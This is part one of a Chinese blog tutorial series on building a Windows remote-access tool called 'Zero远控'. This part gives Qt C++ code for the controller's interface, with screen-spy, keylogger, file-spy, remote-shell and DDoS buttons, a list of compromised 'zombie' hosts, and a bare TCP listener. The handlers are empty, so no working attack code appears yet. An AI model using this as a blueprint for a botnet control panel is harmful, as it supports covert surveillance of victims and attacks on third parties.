标签:
(此系列教程谨供学习,禁止用于非法用途)
日期:2016-4-25
问大家个问题,看人家的代码是不是很辛苦,特别是找不到入口的时候?每次遇到问题的时候最希望是上百度或Google直接复制就最方便了,从来都不愿意去理解背后的意思。我就是这样,因为我人比较懒,但学习有时候总要硬着头皮去看别人的代码,呵呵。但吃好东西要细嚼慢咽才能品尝到当中的美味,所以现在开始我会一步一步带着大家细阅代码,放心,我会打好详尽的注释,而且告诉你哪里是入口,这样你的学习就能事半功倍了!
先安装Qt开发环境(虽然我们的远控是针对windows,但Qt是跨平台的,所以服务器端用什么系统开发都可以):
Windows:
http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-windows-x86-mingw492-5.6.0.exe
Linux:
http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-linux-x64-5.6.0.run
好的开始是成功的一半,我们先来弄个简洁的服务端界面:
1。创建项目,我叫他做zero-server
2。创建Qt的资源文件,用来放按钮图片或icon,创建好了就在Project栏里对着resources.qrc右击加入图片路径就可以了
资源文件(图片):http://download.csdn.net/download/sumkee911/9501976
3。第一波代码来袭。。。。入口是Widget构造函数,开始画界面,如果有ZeroServer.cpp相关的代码先不用管他,我们先搞定界面先,那个我在下会讲
(这就是我们的效果图)
Widget.cpp
#include "widget.h"
#include "ui_widget.h"
Widget::Widget(QWidget *parent) :
QWidget(parent),
ui(new Ui::Widget)
{
ui->setupUi(this);
// 设置窗口
this->setFixedSize(QSize(800,600));
this->setWindowTitle("Zero远控");
this->setWindowIcon(QIcon(":/resources/zero.png"));
// 工具栏
// 当你第一次放QPushButton的时候你可能会发现编译不通过,原因是因为你没在头文件中#include <QPushButton>,其他的东西例如QMessageBox也一样,记得要include喔
// 视屏监控Button
QPushButton *btScreenSpy = new QPushButton(QIcon(":/resources/screenspy.png"), "视屏监控", this);
btScreenSpy->setIconSize(QSize(60,60));
btScreenSpy->setGeometry(QRect(0*160,0,160,80));
// 这是Qt的信息与槽机制,这段的意思大概就是Qt
// 记得要先定义好槽,在头文件里的public slots里定义,这么简单的东西我就不详细说了
// 收到btScreenSpy的clicked消息后就把它发送给clickedScreenSpy的槽(也就是响应函数的意思)
// 你可以在响应槽中放个 QMessageBox::information(this, "test", "hello world"); 试试效果
connect(btScreenSpy, SIGNAL(clicked(bool)), this , SLOT(clickedScreenSpy(bool)));
// 键盘监控Button
QPushButton *btKeyboardSpy = new QPushButton(QIcon(":/resources/keyboardspy.png"), "键盘监控", this);
btKeyboardSpy->setIconSize(QSize(60,60));
btKeyboardSpy->setGeometry(QRect(1*160,0,160,80));
connect(btKeyboardSpy, SIGNAL(clicked(bool)), this, SLOT(clickedKeyboardSpy(bool)));
// 文件监控Button
QPushButton *btFileSpy = new QPushButton(QIcon(":/resources/filespy.png"), "文件监控", this);
btFileSpy->setIconSize(QSize(60,60));
btFileSpy->setGeometry(QRect(2*160,0,160,80));
connect(btFileSpy, SIGNAL(clicked(bool)), this, SLOT(clickedFileSpy(bool)));
// CMD指令行Button
QPushButton *btCmdSpy = new QPushButton(QIcon(":/resources/cmdspy.png"), "CMD监控", this);
btCmdSpy->setIconSize(QSize(60,60));
btCmdSpy->setGeometry(QRect(3*160,0,160,80));
connect(btCmdSpy, SIGNAL(clicked(bool)), this, SLOT(clickedCmdSpy(bool)));
// DDoS攻击Button
QPushButton *btDdos = new QPushButton(QIcon(":/resources/ddos.png"), "DDoS", this);
btDdos->setIconSize(QSize(60,60));
btDdos->setGeometry(QRect(4*160,0,160,80));
connect(btDdos, SIGNAL(clicked(bool)), this, SLOT(clickedDdos(bool)));
// 服务器控制组件
// 肉鸡数量(将 "QLabel *m_lbClientCount" 放到widget.h的class private中,方便以后调用)
QLabel *lb = new QLabel("肉鸡数量:", this);
lb->setGeometry(QRect(600,0*40+360,70,30));
m_lbClientCount = new QLabel("0", this);
m_lbClientCount->setGeometry(670,0*40+360,120,30);
// 定时更新肉鸡数量
QTimer *tmUpdateClientCount = new QTimer(this);
connect(tmUpdateClientCount, SIGNAL(timeout()), this, SLOT(timeoutUpdateClientCount()));
tmUpdateClientCount->start(1000);
// 端口编辑框(同上)
lb = new QLabel("端口:",this);
lb->setGeometry(QRect(600,1*40+360, 50, 30));
m_lePort = new QLineEdit("18000",this);
m_lePort->setValidator(new QIntValidator(1,65535));
m_lePort->setGeometry(QRect(650,1*40+360,140,30));
// 服务器开启Button(同上)
m_btStart = new QPushButton("启动服务器", this);
m_btStart->setGeometry(QRect(600,2*40+360, 190, 30));
connect(m_btStart, SIGNAL(clicked(bool)), this, SLOT(clickedStart(bool)));
// 服务器停止Button(同上)
m_btStop = new QPushButton("停止服务器", this);
m_btStop->setGeometry(QRect(600, 3*40+360, 190,30));
connect(m_btStop, SIGNAL(clicked(bool)), this, SLOT(clickedStop(bool)));
m_btStop->setEnabled(false);
// 创建客户端Button(同上)
m_btCreate = new QPushButton("创建客户端", this);
m_btCreate->setGeometry(QRect(600,4*40+360,190,30));
connect(m_btCreate, SIGNAL(clicked(bool)), this, SLOT(clickedCreate(bool)));
// 当前肉鸡列表(将 "QTableWidget m_twClient" 放到widget.h的class private中,方便以后调用)
m_twClient = new QTableWidget(this);
m_twClient->setGeometry(QRect(4,84,580,510));
// 插入列名
m_twClient->setColumnCount(4);
m_twClient->setHorizontalHeaderItem(0, new QTableWidgetItem("用户名"));
m_twClient->setColumnWidth(0, 120);
m_twClient->setHorizontalHeaderItem(1, new QTableWidgetItem("公网IP"));
m_twClient->setColumnWidth(1, 170);
m_twClient->setHorizontalHeaderItem(2, new QTableWidgetItem("内网IP"));
m_twClient->setColumnWidth(2, 170);
m_twClient->setHorizontalHeaderItem(3, new QTableWidgetItem("系统型号"));
m_twClient->setColumnWidth(3, 100);
// 初始化服务器(所有关于服务器的可以先忽略掉,下面我们会再讲, 你们先搞定上面的控件)
m_server = new ZeroServer(reinterpret_cast<QTcpServer*>(this));
connect(m_server, SIGNAL(serverStarted()), this, SLOT(serverStarted()));
connect(m_server, SIGNAL(serverStoped()), this, SLOT(serverStoped()));
}
Widget::~Widget()
{
delete ui;
}
void Widget::clickedScreenSpy(bool)
{
QMessageBox::information(this, "test", "hello world");
}
void Widget::clickedKeyboardSpy(bool)
{
}
void Widget::clickedFileSpy(bool)
{
}
void Widget::clickedCmdSpy(bool)
{
}
void Widget::clickedDdos(bool)
{
}
void Widget::clickedStart(bool)
{
m_server->startServer(m_lePort->text().toInt());
}
void Widget::clickedStop(bool)
{
m_server->stopServer();
}
void Widget::clickedCreate(bool)
{
}
void Widget::timeoutUpdateClientCount()
{
}
void Widget::serverStarted()
{
// 禁止开启按钮,允许停止按钮
m_btStart->setEnabled(false);
m_btStop->setEnabled(true);
}
void Widget::serverStoped()
{
// 禁止停止按钮,允许开启按钮
m_btStart->setEnabled(true);
m_btStop->setEnabled(false);
}
#ifndef WIDGET_H
#define WIDGET_H
#include <QWidget>
#include <QPushButton>
#include <QLineEdit>
#include <QIntValidator>
#include <QLabel>
#include <QTableWidget>
#include <QMessageBox>
#include <QTimer>
#include "zeroserver.h"
namespace Ui {
class Widget;
}
class Widget : public QWidget
{
Q_OBJECT
public:
explicit Widget(QWidget *parent = 0);
~Widget();
private:
Ui::Widget *ui;
// 控件们
QLineEdit *m_lePort;
QPushButton *m_btStart;
QPushButton *m_btStop;
QPushButton *m_btCreate;
QTableWidget *m_twClient;
QLabel *m_lbClientCount;
// 服务器
ZeroServer *m_server;
public slots:
// 控件们的鼠标点击相应槽
void clickedScreenSpy(bool);
void clickedKeyboardSpy(bool);
void clickedFileSpy(bool);
void clickedCmdSpy(bool);
void clickedDdos(bool);
void clickedStart(bool);
void clickedStop(bool);
void clickedCreate(bool);
// 人数更新 m_lbClientCount
void timeoutUpdateClientCount();
// 服务器开启与关闭槽,负责接受服务器开启或关闭后接收的消息
void serverStarted();
void serverStoped();
};
#endif // WIDGET_H
开始写服务器代码了:
1。先创建个名叫ZeroServer的类
2。要生效网络必须再.pro文件里加入 Qt += network
3。第二波代码来袭,头文件里你必须要跟我一样加上Q_OBJECT,还要修改一下构造函数,不然信号与槽无法使用
ZeroServer.h
#ifndef ZEROSERVER_H
#define ZEROSERVER_H
#include <QObject>
#include <QTcpServer>
#include <QDebug>
class ZeroServer : public QTcpServer
{
Q_OBJECT
public:
ZeroServer(QTcpServer *parent=0);
// 开启服务器
void startServer(const int port);
// 停止服务器
void stopServer();
signals:
// 当服务器停止后发送的信号
void serverStarted();
// 当服务器开始后发送的信号
void serverStoped();
protected:
// 有新连接时的地方
virtual void incomingConnection(qintptr socketDescriptor);
};
#endif // ZEROSERVER_H
#include "zeroserver.h"
ZeroServer::ZeroServer(QTcpServer *parent):QTcpServer(parent)
{
}
void ZeroServer::startServer(const int port)
{
try {
// 开始监控
if ( !listen(QHostAddress::Any, port) ) {
throw QString("Failed to listen, error code=%1").arg(errorString());
}
// 发送服务器已启动信号
emit serverStarted();
} catch(QString &err) {
qDebug() << err;
}
}
void ZeroServer::stopServer()
{
close();
// 发送服务器已停止信号
emit serverStoped();
}
void ZeroServer::incomingConnection(qintptr socketDescriptor)
{
// 你可以用telnet连接看看
qDebug() << "test: Got connection";
}
完整源码:http://download.csdn.net/download/sumkee911/9501981
最后:
今天到这里先,再见!
标签:
原文地址:http://blog.csdn.net/sumkee911/article/details/51242096